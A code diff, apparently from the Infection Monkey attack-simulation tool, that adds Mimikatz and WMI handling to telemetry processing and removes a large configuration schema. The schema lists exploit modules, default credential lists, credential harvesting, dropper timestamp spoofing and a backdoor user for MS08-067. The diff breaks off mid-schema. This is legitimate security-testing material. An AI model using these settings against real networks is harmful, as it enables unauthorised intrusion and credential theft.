|
||||||
|
|
||||||
|
|
|
@ -1,7 +1,6 @@
|
||||||
import urllib2
|
|
||||||
|
|
||||||
import cc.auth
|
import cc.auth
|
||||||
from cc.environment import Environment
|
from cc.environment import Environment
|
||||||
|
from common.cloud.aws import AWS
|
||||||
|
|
||||||
__author__ = 'itay.mizeretz'
|
__author__ = 'itay.mizeretz'
|
||||||
|
|
||||||
|
@ -13,7 +12,7 @@ class AwsEnvironment(Environment):
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def _get_instance_id():
|
def _get_instance_id():
|
||||||
return urllib2.urlopen('http://169.254.169.254/latest/meta-data/instance-id').read()
|
return AWS.get_instance_id()
|
||||||
|
|
||||||
def is_auth_enabled(self):
|
def is_auth_enabled(self):
|
||||||
return True
|
return True
|
||||||
|
|
|
@ -27,7 +27,7 @@
|
||||||
},
|
},
|
||||||
|
|
||||||
"root": {
|
"root": {
|
||||||
"level": "INFO",
|
"level": "DEBUG",
|
||||||
"handlers": ["console", "info_file_handler"]
|
"handlers": ["console", "info_file_handler"]
|
||||||
}
|
}
|
||||||
}
|
}
|
|
@ -1,6 +1,7 @@
|
||||||
from __future__ import print_function # In python 2.7
|
from __future__ import print_function # In python 2.7
|
||||||
|
|
||||||
import os
|
import os
|
||||||
|
import os.path
|
||||||
import sys
|
import sys
|
||||||
import time
|
import time
|
||||||
import logging
|
import logging
|
||||||
|
@ -12,7 +13,8 @@ if BASE_PATH not in sys.path:
|
||||||
|
|
||||||
from cc.island_logger import json_setup_logging
|
from cc.island_logger import json_setup_logging
|
||||||
# This is here in order to catch EVERYTHING, some functions are being called on imports the log init needs to be on top.
|
# This is here in order to catch EVERYTHING, some functions are being called on imports the log init needs to be on top.
|
||||||
json_setup_logging(default_path='.\\monkey_island\\cc\\island_logger_default_config.json', default_level=logging.DEBUG)
|
json_setup_logging(default_path=os.path.join(BASE_PATH, 'cc', 'island_logger_default_config.json'),
|
||||||
|
default_level=logging.DEBUG)
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
from cc.app import init_app
|
from cc.app import init_app
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
import json
|
import json
|
||||||
|
|
||||||
import flask_restful
|
import flask_restful
|
||||||
from flask import request, jsonify
|
from flask import request, jsonify, abort
|
||||||
|
|
||||||
from cc.auth import jwt_required
|
from cc.auth import jwt_required
|
||||||
from cc.services.config import ConfigService
|
from cc.services.config import ConfigService
|
||||||
|
@ -20,5 +20,6 @@ class MonkeyConfiguration(flask_restful.Resource):
|
||||||
if 'reset' in config_json:
|
if 'reset' in config_json:
|
||||||
ConfigService.reset_config()
|
ConfigService.reset_config()
|
||||||
else:
|
else:
|
||||||
ConfigService.update_config(config_json, should_encrypt=True)
|
if not ConfigService.update_config(config_json, should_encrypt=True):
|
||||||
|
abort(400)
|
||||||
return self.get()
|
return self.get()
|
||||||
|
|
|
@ -1,6 +1,5 @@
|
||||||
import json
|
import json
|
||||||
import logging
|
import logging
|
||||||
import traceback
|
|
||||||
import copy
|
import copy
|
||||||
from datetime import datetime
|
from datetime import datetime
|
||||||
|
|
||||||
|
@ -10,10 +9,12 @@ from flask import request
|
||||||
|
|
||||||
from cc.auth import jwt_required
|
from cc.auth import jwt_required
|
||||||
from cc.database import mongo
|
from cc.database import mongo
|
||||||
|
from cc.services import mimikatz_utils
|
||||||
from cc.services.config import ConfigService
|
from cc.services.config import ConfigService
|
||||||
from cc.services.edge import EdgeService
|
from cc.services.edge import EdgeService
|
||||||
from cc.services.node import NodeService
|
from cc.services.node import NodeService
|
||||||
from cc.encryptor import encryptor
|
from cc.encryptor import encryptor
|
||||||
|
from cc.services.wmi_handler import WMIHandler
|
||||||
|
|
||||||
__author__ = 'Barak'
|
__author__ = 'Barak'
|
||||||
|
|
||||||
|
@ -170,6 +171,8 @@ class Telemetry(flask_restful.Resource):
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def process_system_info_telemetry(telemetry_json):
|
def process_system_info_telemetry(telemetry_json):
|
||||||
|
users_secrets = {}
|
||||||
|
monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']).get('_id')
|
||||||
if 'ssh_info' in telemetry_json['data']:
|
if 'ssh_info' in telemetry_json['data']:
|
||||||
ssh_info = telemetry_json['data']['ssh_info']
|
ssh_info = telemetry_json['data']['ssh_info']
|
||||||
Telemetry.encrypt_system_info_ssh_keys(ssh_info)
|
Telemetry.encrypt_system_info_ssh_keys(ssh_info)
|
||||||
|
@ -182,6 +185,12 @@ class Telemetry(flask_restful.Resource):
|
||||||
Telemetry.encrypt_system_info_creds(creds)
|
Telemetry.encrypt_system_info_creds(creds)
|
||||||
Telemetry.add_system_info_creds_to_config(creds)
|
Telemetry.add_system_info_creds_to_config(creds)
|
||||||
Telemetry.replace_user_dot_with_comma(creds)
|
Telemetry.replace_user_dot_with_comma(creds)
|
||||||
|
if 'mimikatz' in telemetry_json['data']:
|
||||||
|
users_secrets = mimikatz_utils.MimikatzSecrets.\
|
||||||
|
extract_secrets_from_mimikatz(telemetry_json['data'].get('mimikatz', ''))
|
||||||
|
if 'wmi' in telemetry_json['data']:
|
||||||
|
wmi_handler = WMIHandler(monkey_id, telemetry_json['data']['wmi'], users_secrets)
|
||||||
|
wmi_handler.process_and_handle_wmi_info()
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def add_ip_to_ssh_keys(ip, ssh_info):
|
def add_ip_to_ssh_keys(ip, ssh_info):
|
||||||
|
|
|
@ -9,874 +9,13 @@ from cc.database import mongo
|
||||||
from cc.encryptor import encryptor
|
from cc.encryptor import encryptor
|
||||||
from cc.environment.environment import env
|
from cc.environment.environment import env
|
||||||
from cc.utils import local_ip_addresses
|
from cc.utils import local_ip_addresses
|
||||||
|
from config_schema import SCHEMA
|
||||||
__author__ = "itay.mizeretz"
|
__author__ = "itay.mizeretz"
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
WARNING_SIGN = u" \u26A0"
|
|
||||||
|
|
||||||
SCHEMA = {
|
|
||||||
"title": "Monkey",
|
|
||||||
"type": "object",
|
|
||||||
"definitions": {
|
|
||||||
"exploiter_classes": {
|
|
||||||
"title": "Exploit class",
|
|
||||||
"type": "string",
|
|
||||||
"anyOf": [
|
|
||||||
{
|
|
||||||
"type": "string",
|
|
||||||
"enum": [
|
|
||||||
"SmbExploiter"
|
|
||||||
],
|
|
||||||
"title": "SMB Exploiter"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"type": "string",
|
|
||||||
"enum": [
|
|
||||||
"WmiExploiter"
|
|
||||||
],
|
|
||||||
"title": "WMI Exploiter"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"type": "string",
|
|
||||||
"enum": [
|
|
||||||
"MSSQLExploiter"
|
|
||||||
],
|
|
||||||
"title": "MSSQL Exploiter"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"type": "string",
|
|
||||||
"enum": [
|
|
||||||
"RdpExploiter"
|
|
||||||
],
|
|
||||||
"title": "RDP Exploiter (UNSAFE)"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"type": "string",
|
|
||||||
"enum": [
|
|
||||||
"Ms08_067_Exploiter"
|
|
||||||
],
|
|
||||||
"title": "MS08-067 Exploiter (UNSAFE)"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"type": "string",
|
|
||||||
"enum": [
|
|
||||||
"SSHExploiter"
|
|
||||||
],
|
|
||||||
"title": "SSH Exploiter"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"type": "string",
|
|
||||||
"enum": [
|
|
||||||
"ShellShockExploiter"
|
|
||||||
],
|
|
||||||
"title": "ShellShock Exploiter"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"type": "string",
|
|
||||||
"enum": [
|
|
||||||
"SambaCryExploiter"
|
|
||||||
],
|
|
||||||
"title": "SambaCry Exploiter"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"type": "string",
|
|
||||||
"enum": [
|
|
||||||
"ElasticGroovyExploiter"
|
|
||||||
],
|
|
||||||
"title": "ElasticGroovy Exploiter"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"type": "string",
|
|
||||||
"enum": [
|
|
||||||
"Struts2Exploiter"
|
|
||||||
],
|
|
||||||
"title": "Struts2 Exploiter"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"type": "string",
|
|
||||||
"enum": [
|
|
||||||
"WebLogicExploiter"
|
|
||||||
],
|
|
||||||
"title": "Oracle Web Logic Exploiter"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"type": "string",
|
|
||||||
"enum": [
|
|
||||||
"HadoopExploiter"
|
|
||||||
],
|
|
||||||
"title": "Hadoop/Yarn Exploiter"
|
|
||||||
}
|
|
||||||
]
|
|
||||||
},
|
|
||||||
"finger_classes": {
|
|
||||||
"title": "Fingerprint class",
|
|
||||||
"type": "string",
|
|
||||||
"anyOf": [
|
|
||||||
{
|
|
||||||
"type": "string",
|
|
||||||
"enum": [
|
|
||||||
"SMBFinger"
|
|
||||||
],
|
|
||||||
"title": "SMBFinger"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"type": "string",
|
|
||||||
"enum": [
|
|
||||||
"SSHFinger"
|
|
||||||
],
|
|
||||||
"title": "SSHFinger"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"type": "string",
|
|
||||||
"enum": [
|
|
||||||
"PingScanner"
|
|
||||||
],
|
|
||||||
"title": "PingScanner"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"type": "string",
|
|
||||||
"enum": [
|
|
||||||
"HTTPFinger"
|
|
||||||
],
|
|
||||||
"title": "HTTPFinger"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"type": "string",
|
|
||||||
"enum": [
|
|
||||||
"MySQLFinger"
|
|
||||||
],
|
|
||||||
"title": "MySQLFinger"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"type": "string",
|
|
||||||
"enum": [
|
|
||||||
"MSSQLFinger"
|
|
||||||
],
|
|
||||||
"title": "MSSQLFinger"
|
|
||||||
},
|
|
||||||
|
|
||||||
{
|
|
||||||
"type": "string",
|
|
||||||
"enum": [
|
|
||||||
"ElasticFinger"
|
|
||||||
],
|
|
||||||
"title": "ElasticFinger"
|
|
||||||
}
|
|
||||||
]
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"properties": {
|
|
||||||
"basic": {
|
|
||||||
"title": "Basic - Credentials",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"credentials": {
|
|
||||||
"title": "Credentials",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"exploit_user_list": {
|
|
||||||
"title": "Exploit user list",
|
|
||||||
"type": "array",
|
|
||||||
"uniqueItems": True,
|
|
||||||
"items": {
|
|
||||||
"type": "string"
|
|
||||||
},
|
|
||||||
"default": [
|
|
||||||
"Administrator",
|
|
||||||
"root",
|
|
||||||
"user"
|
|
||||||
],
|
|
||||||
"description": "List of usernames to use on exploits using credentials"
|
|
||||||
},
|
|
||||||
"exploit_password_list": {
|
|
||||||
"title": "Exploit password list",
|
|
||||||
"type": "array",
|
|
||||||
"uniqueItems": True,
|
|
||||||
"items": {
|
|
||||||
"type": "string"
|
|
||||||
},
|
|
||||||
"default": [
|
|
||||||
"Password1!",
|
|
||||||
"1234",
|
|
||||||
"password",
|
|
||||||
"12345678"
|
|
||||||
],
|
|
||||||
"description": "List of password to use on exploits using credentials"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"basic_network": {
|
|
||||||
"title": "Basic - Network",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"general": {
|
|
||||||
"title": "General",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"blocked_ips": {
|
|
||||||
"title": "Blocked IPs",
|
|
||||||
"type": "array",
|
|
||||||
"uniqueItems": True,
|
|
||||||
"items": {
|
|
||||||
"type": "string"
|
|
||||||
},
|
|
||||||
"default": [
|
|
||||||
],
|
|
||||||
"description": "List of IPs to not scan"
|
|
||||||
},
|
|
||||||
"local_network_scan": {
|
|
||||||
"title": "Local network scan",
|
|
||||||
"type": "boolean",
|
|
||||||
"default": True,
|
|
||||||
"description": "Determines whether the monkey should scan its subnets additionally"
|
|
||||||
},
|
|
||||||
"depth": {
|
|
||||||
"title": "Distance from island",
|
|
||||||
"type": "integer",
|
|
||||||
"default": 2,
|
|
||||||
"description":
|
|
||||||
"Amount of hops allowed for the monkey to spread from the island. "
|
|
||||||
+ WARNING_SIGN
|
|
||||||
+ " Note that setting this value too high may result in the monkey propagating too far"
|
|
||||||
},
|
|
||||||
"subnet_scan_list": {
|
|
||||||
"title": "Scan IP/subnet list",
|
|
||||||
"type": "array",
|
|
||||||
"uniqueItems": True,
|
|
||||||
"items": {
|
|
||||||
"type": "string"
|
|
||||||
},
|
|
||||||
"default": [
|
|
||||||
],
|
|
||||||
"description":
|
|
||||||
"List of IPs/subnets the monkey should scan."
|
|
||||||
" Examples: \"192.168.0.1\", \"192.168.0.5-192.168.0.20\", \"192.168.0.5/24\""
|
|
||||||
}
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"network_analysis": {
|
|
||||||
"title": "Network Analysis",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"inaccessible_subnets": {
|
|
||||||
"title": "Network segmentation testing",
|
|
||||||
"type": "array",
|
|
||||||
"uniqueItems": True,
|
|
||||||
"items": {
|
|
||||||
"type": "string"
|
|
||||||
},
|
|
||||||
"default": [
|
|
||||||
],
|
|
||||||
"description":
|
|
||||||
"Test for network segmentation by providing a list of"
|
|
||||||
" subnets that should NOT be accessible to each other."
|
|
||||||
" For example, given the following configuration:"
|
|
||||||
" '10.0.0.0/24, 11.0.0.2/32, 12.2.3.0/24'"
|
|
||||||
" a Monkey running on 10.0.0.5 will try to access machines in the following"
|
|
||||||
" subnets: 11.0.0.2/32, 12.2.3.0/24."
|
|
||||||
" An alert on successful connections will be shown in the report"
|
|
||||||
" Additional subnet formats include: 13.0.0.1, 13.0.0.1-13.0.0.5"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"monkey": {
|
|
||||||
"title": "Monkey",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"general": {
|
|
||||||
"title": "General",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"alive": {
|
|
||||||
"title": "Alive",
|
|
||||||
"type": "boolean",
|
|
||||||
"default": True,
|
|
||||||
"description": "Is the monkey alive"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"behaviour": {
|
|
||||||
"title": "Behaviour",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"self_delete_in_cleanup": {
|
|
||||||
"title": "Self delete on cleanup",
|
|
||||||
"type": "boolean",
|
|
||||||
"default": False,
|
|
||||||
"description": "Should the monkey delete its executable when going down"
|
|
||||||
},
|
|
||||||
"use_file_logging": {
|
|
||||||
"title": "Use file logging",
|
|
||||||
"type": "boolean",
|
|
||||||
"default": True,
|
|
||||||
"description": "Should the monkey dump to a log file"
|
|
||||||
},
|
|
||||||
"serialize_config": {
|
|
||||||
"title": "Serialize config",
|
|
||||||
"type": "boolean",
|
|
||||||
"default": False,
|
|
||||||
"description": "Should the monkey dump its config on startup"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"system_info": {
|
|
||||||
"title": "System info",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"extract_azure_creds": {
|
|
||||||
"title": "Harvest Azure Credentials",
|
|
||||||
"type": "boolean",
|
|
||||||
"default": True,
|
|
||||||
"description":
|
|
||||||
"Determine if the Monkey should try to harvest password credentials from Azure VMs"
|
|
||||||
},
|
|
||||||
"collect_system_info": {
|
|
||||||
"title": "Collect system info",
|
|
||||||
"type": "boolean",
|
|
||||||
"default": True,
|
|
||||||
"description": "Determines whether to collect system info"
|
|
||||||
},
|
|
||||||
"should_use_mimikatz": {
|
|
||||||
"title": "Should use Mimikatz",
|
|
||||||
"type": "boolean",
|
|
||||||
"default": True,
|
|
||||||
"description": "Determines whether to use Mimikatz"
|
|
||||||
},
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"life_cycle": {
|
|
||||||
"title": "Life cycle",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"max_iterations": {
|
|
||||||
"title": "Max iterations",
|
|
||||||
"type": "integer",
|
|
||||||
"default": 1,
|
|
||||||
"description": "Determines how many iterations of the monkey's full lifecycle should occur"
|
|
||||||
},
|
|
||||||
"victims_max_find": {
|
|
||||||
"title": "Max victims to find",
|
|
||||||
"type": "integer",
|
|
||||||
"default": 30,
|
|
||||||
"description": "Determines the maximum number of machines the monkey is allowed to scan"
|
|
||||||
},
|
|
||||||
"victims_max_exploit": {
|
|
||||||
"title": "Max victims to exploit",
|
|
||||||
"type": "integer",
|
|
||||||
"default": 7,
|
|
||||||
"description":
|
|
||||||
"Determines the maximum number of machines the monkey"
|
|
||||||
" is allowed to successfully exploit. " + WARNING_SIGN
|
|
||||||
+ " Note that setting this value too high may result in the monkey propagating to "
|
|
||||||
"a high number of machines"
|
|
||||||
},
|
|
||||||
"timeout_between_iterations": {
|
|
||||||
"title": "Wait time between iterations",
|
|
||||||
"type": "integer",
|
|
||||||
"default": 100,
|
|
||||||
"description":
|
|
||||||
"Determines for how long (in seconds) should the monkey wait between iterations"
|
|
||||||
},
|
|
||||||
"retry_failed_explotation": {
|
|
||||||
"title": "Retry failed exploitation",
|
|
||||||
"type": "boolean",
|
|
||||||
"default": True,
|
|
||||||
"description":
|
|
||||||
"Determines whether the monkey should retry exploiting machines"
|
|
||||||
" it didn't successfuly exploit on previous iterations"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"internal": {
|
|
||||||
"title": "Internal",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"general": {
|
|
||||||
"title": "General",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"singleton_mutex_name": {
|
|
||||||
"title": "Singleton mutex name",
|
|
||||||
"type": "string",
|
|
||||||
"default": "{2384ec59-0df8-4ab9-918c-843740924a28}",
|
|
||||||
"description":
|
|
||||||
"The name of the mutex used to determine whether the monkey is already running"
|
|
||||||
},
|
|
||||||
"keep_tunnel_open_time": {
|
|
||||||
"title": "Keep tunnel open time",
|
|
||||||
"type": "integer",
|
|
||||||
"default": 60,
|
|
||||||
"description": "Time to keep tunnel open before going down after last exploit (in seconds)"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"classes": {
|
|
||||||
"title": "Classes",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"scanner_class": {
|
|
||||||
"title": "Scanner class",
|
|
||||||
"type": "string",
|
|
||||||
"default": "TcpScanner",
|
|
||||||
"enum": [
|
|
||||||
"TcpScanner"
|
|
||||||
],
|
|
||||||
"enumNames": [
|
|
||||||
"TcpScanner"
|
|
||||||
],
|
|
||||||
"description": "Determines class to scan for machines. (Shouldn't be changed)"
|
|
||||||
},
|
|
||||||
"finger_classes": {
|
|
||||||
"title": "Fingerprint classes",
|
|
||||||
"type": "array",
|
|
||||||
"uniqueItems": True,
|
|
||||||
"items": {
|
|
||||||
"$ref": "#/definitions/finger_classes"
|
|
||||||
},
|
|
||||||
"default": [
|
|
||||||
"SMBFinger",
|
|
||||||
"SSHFinger",
|
|
||||||
"PingScanner",
|
|
||||||
"HTTPFinger",
|
|
||||||
"MySQLFinger",
|
|
||||||
"MSSQLFinger",
|
|
||||||
"ElasticFinger"
|
|
||||||
],
|
|
||||||
"description": "Determines which classes to use for fingerprinting"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"kill_file": {
|
|
||||||
"title": "Kill file",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"kill_file_path_windows": {
|
|
||||||
"title": "Kill file path on Windows",
|
|
||||||
"type": "string",
|
|
||||||
"default": "%windir%\\monkey.not",
|
|
||||||
"description": "Path of file which kills monkey if it exists (on Windows)"
|
|
||||||
},
|
|
||||||
"kill_file_path_linux": {
|
|
||||||
"title": "Kill file path on Linux",
|
|
||||||
"type": "string",
|
|
||||||
"default": "/var/run/monkey.not",
|
|
||||||
"description": "Path of file which kills monkey if it exists (on Linux)"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"dropper": {
|
|
||||||
"title": "Dropper",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"dropper_set_date": {
|
|
||||||
"title": "Dropper sets date",
|
|
||||||
"type": "boolean",
|
|
||||||
"default": True,
|
|
||||||
"description":
|
|
||||||
"Determines whether the dropper should set the monkey's file date to be the same as"
|
|
||||||
" another file"
|
|
||||||
},
|
|
||||||
"dropper_date_reference_path_windows": {
|
|
||||||
"title": "Dropper date reference path (Windows)",
|
|
||||||
"type": "string",
|
|
||||||
"default": "%windir%\\system32\\kernel32.dll",
|
|
||||||
"description":
|
|
||||||
"Determines which file the dropper should copy the date from if it's configured to do"
|
|
||||||
" so on Windows (use fullpath)"
|
|
||||||
},
|
|
||||||
"dropper_date_reference_path_linux": {
|
|
||||||
"title": "Dropper date reference path (Linux)",
|
|
||||||
"type": "string",
|
|
||||||
"default": "/bin/sh",
|
|
||||||
"description":
|
|
||||||
"Determines which file the dropper should copy the date from if it's configured to do"
|
|
||||||
" so on Linux (use fullpath)"
|
|
||||||
},
|
|
||||||
"dropper_target_path_linux": {
|
|
||||||
"title": "Dropper target path on Linux",
|
|
||||||
"type": "string",
|
|
||||||
"default": "/tmp/monkey",
|
|
||||||
"description": "Determines where should the dropper place the monkey on a Linux machine"
|
|
||||||
},
|
|
||||||
"dropper_target_path_win_32": {
|
|
||||||
"title": "Dropper target path on Windows (32bit)",
|
|
||||||
"type": "string",
|
|
||||||
"default": "C:\\Windows\\monkey32.exe",
|
|
||||||
"description": "Determines where should the dropper place the monkey on a Windows machine "
|
|
||||||
"(32bit)"
|
|
||||||
},
|
|
||||||
"dropper_target_path_win_64": {
|
|
||||||
"title": "Dropper target path on Windows (64bit)",
|
|
||||||
"type": "string",
|
|
||||||
"default": "C:\\Windows\\monkey64.exe",
|
|
||||||
"description": "Determines where should the dropper place the monkey on a Windows machine "
|
|
||||||
"(64 bit)"
|
|
||||||
},
|
|
||||||
"dropper_try_move_first": {
|
|
||||||
"title": "Try to move first",
|
|
||||||
"type": "boolean",
|
|
||||||
"default": True,
|
|
||||||
"description":
|
|
||||||
"Determines whether the dropper should try to move itsel instead of copying itself"
|
|
||||||
" to target path"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"logging": {
|
|
||||||
"title": "Logging",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"dropper_log_path_linux": {
|
|
||||||
"title": "Dropper log file path on Linux",
|
|
||||||
"type": "string",
|
|
||||||
"default": "/tmp/user-1562",
|
|
||||||
"description": "The fullpath of the dropper log file on Linux"
|
|
||||||
},
|
|
||||||
"dropper_log_path_windows": {
|
|
||||||
"title": "Dropper log file path on Windows",
|
|
||||||
"type": "string",
|
|
||||||
"default": "%temp%\\~df1562.tmp",
|
|
||||||
"description": "The fullpath of the dropper log file on Windows"
|
|
||||||
},
|
|
||||||
"monkey_log_path_linux": {
|
|
||||||
"title": "Monkey log file path on Linux",
|
|
||||||
"type": "string",
|
|
||||||
"default": "/tmp/user-1563",
|
|
||||||
"description": "The fullpath of the monkey log file on Linux"
|
|
||||||
},
|
|
||||||
"monkey_log_path_windows": {
|
|
||||||
"title": "Monkey log file path on Windows",
|
|
||||||
"type": "string",
|
|
||||||
"default": "%temp%\\~df1563.tmp",
|
|
||||||
"description": "The fullpath of the monkey log file on Windows"
|
|
||||||
},
|
|
||||||
"send_log_to_server": {
|
|
||||||
"title": "Send log to server",
|
|
||||||
"type": "boolean",
|
|
||||||
"default": True,
|
|
||||||
"description": "Determines whether the monkey sends its log to the Monkey Island server"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"exploits": {
|
|
||||||
"title": "Exploits",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"exploit_lm_hash_list": {
|
|
||||||
"title": "Exploit LM hash list",
|
|
||||||
"type": "array",
|
|
||||||
"uniqueItems": True,
|
|
||||||
"items": {
|
|
||||||
"type": "string"
|
|
||||||
},
|
|
||||||
"default": [],
|
|
||||||
"description": "List of LM hashes to use on exploits using credentials"
|
|
||||||
},
|
|
||||||
"exploit_ntlm_hash_list": {
|
|
||||||
"title": "Exploit NTLM hash list",
|
|
||||||
"type": "array",
|
|
||||||
"uniqueItems": True,
|
|
||||||
"items": {
|
|
||||||
"type": "string"
|
|
||||||
},
|
|
||||||
"default": [],
|
|
||||||
"description": "List of NTLM hashes to use on exploits using credentials"
|
|
||||||
},
|
|
||||||
"exploit_ssh_keys": {
|
|
||||||
"title": "SSH key pairs list",
|
|
||||||
"type": "array",
|
|
||||||
"uniqueItems": True,
|
|
||||||
"default": [],
|
|
||||||
"items": {
|
|
||||||
"type": "string"
|
|
||||||
},
|
|
||||||
"description": "List of SSH key pairs to use, when trying to ssh into servers"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"cnc": {
|
|
||||||
"title": "Monkey Island",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"servers": {
|
|
||||||
"title": "Servers",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"command_servers": {
|
|
||||||
"title": "Command servers",
|
|
||||||
"type": "array",
|
|
||||||
"uniqueItems": True,
|
|
||||||
"items": {
|
|
||||||
"type": "string"
|
|
||||||
},
|
|
||||||
"default": [
|
|
||||||
"192.0.2.0:5000"
|
|
||||||
],
|
|
||||||
"description": "List of command servers to try and communicate with (format is <ip>:<port>)"
|
|
||||||
},
|
|
||||||
"internet_services": {
|
|
||||||
"title": "Internet services",
|
|
||||||
"type": "array",
|
|
||||||
"uniqueItems": True,
|
|
||||||
"items": {
|
|
||||||
"type": "string"
|
|
||||||
},
|
|
||||||
"default": [
|
|
||||||
"monkey.guardicore.com",
|
|
||||||
"www.google.com"
|
|
||||||
],
|
|
||||||
"description":
|
|
||||||
"List of internet services to try and communicate with to determine internet"
|
|
||||||
" connectivity (use either ip or domain)"
|
|
||||||
},
|
|
||||||
"current_server": {
|
|
||||||
"title": "Current server",
|
|
||||||
"type": "string",
|
|
||||||
"default": "192.0.2.0:5000",
|
|
||||||
"description": "The current command server the monkey is communicating with"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"exploits": {
|
|
||||||
"title": "Exploits",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"general": {
|
|
||||||
"title": "General",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"exploiter_classes": {
|
|
||||||
"title": "Exploits",
|
|
||||||
"type": "array",
|
|
||||||
"uniqueItems": True,
|
|
||||||
"items": {
|
|
||||||
"$ref": "#/definitions/exploiter_classes"
|
|
||||||
},
|
|
||||||
"default": [
|
|
||||||
"SmbExploiter",
|
|
||||||
"WmiExploiter",
|
|
||||||
"MSSQLExploiter",
|
|
||||||
"SSHExploiter",
|
|
||||||
"ShellShockExploiter",
|
|
||||||
"SambaCryExploiter",
|
|
||||||
"ElasticGroovyExploiter",
|
|
||||||
"Struts2Exploiter",
|
|
||||||
"WebLogicExploiter",
|
|
||||||
"HadoopExploiter"
|
|
||||||
],
|
|
||||||
"description":
|
|
||||||
"Determines which exploits to use. " + WARNING_SIGN
|
|
||||||
+ " Note that using unsafe exploits may cause crashes of the exploited machine/service"
|
|
||||||
},
|
|
||||||
"skip_exploit_if_file_exist": {
|
|
||||||
"title": "Skip exploit if file exists",
|
|
||||||
"type": "boolean",
|
|
||||||
"default": False,
|
|
||||||
"description": "Determines whether the monkey should skip the exploit if the monkey's file"
|
|
||||||
" is already on the remote machine"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"ms08_067": {
|
|
||||||
"title": "MS08_067",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"ms08_067_exploit_attempts": {
|
|
||||||
"title": "MS08_067 exploit attempts",
|
|
||||||
"type": "integer",
|
|
||||||
"default": 5,
|
|
||||||
"description": "Number of attempts to exploit using MS08_067"
|
|
||||||
},
|
|
||||||
"ms08_067_remote_user_add": {
|
|
||||||
"title": "MS08_067 remote user",
|
|
||||||
"type": "string",
|
|
||||||
"default": "Monkey_IUSER_SUPPORT",
|
|
||||||
"description": "Username to add on successful exploit"
|
|
||||||
},
|
|
||||||
"ms08_067_remote_user_pass": {
|
|
||||||
"title": "MS08_067 remote user password",
|
|
||||||
"type": "string",
|
|
||||||
"default": "Password1!",
|
|
||||||
"description": "Password to use for created user"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"rdp_grinder": {
|
|
||||||
"title": "RDP grinder",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"rdp_use_vbs_download": {
|
|
||||||
"title": "Use VBS download",
|
|
||||||
"type": "boolean",
|
|
||||||
